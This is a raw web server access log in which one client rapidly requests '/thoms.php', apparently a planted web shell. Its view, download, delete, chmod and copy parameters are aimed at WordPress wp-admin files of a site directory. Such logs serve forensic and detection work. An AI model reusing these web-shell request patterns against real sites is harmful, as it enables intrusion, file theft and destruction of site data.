45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /bestzyx.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18945 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14395 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?dl=link-manager.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?del=media-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /bestzyx.com.tw/wp-admin/images/ HTTP/1.1" 200 3231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?dl=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?dl=user-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15280 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?del=comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ffont-library.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ffont-library.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?chmod=import.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fimport.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fimport.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /bestzyx.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:02 -0400] "GET /thoms.php?chmod=ms-users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?dl=customize.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?dl=import.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=import.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-writing.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-writing.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /bestzyx.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?chmod=revision.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13871 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15250 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /bestzyx.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12255 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?del=link.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=link.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:03 -0400] "GET /thoms.php?dl=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?dl=media-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28932 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?del=update.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=update.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12250 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?dl=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /bestzyx.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustomize.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustomize.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ffreedoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ffreedoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?chmod=media-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /bestzyx.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?del=options-general.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15639 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:04 -0400] "GET /thoms.php?del=post-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13009 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?chmod=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?chmod=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18608 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /bestzyx.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?dl=custom-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?del=load-styles.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /thoms.php?del=about.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=about.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /bestzyx.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:05 -0400] "GET /bestzyx.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /bestzyx.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13549 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14157 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-comments.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-comments.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /bestzyx.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /bestzyx.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /bestzyx.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:06 -0400] "GET /thoms.php?del=site-health.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12966 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?chmod=menu-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14057 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12155 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?dl=options-general.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?dl=options-reading.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14040 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /bestzyx.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /bestzyx.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
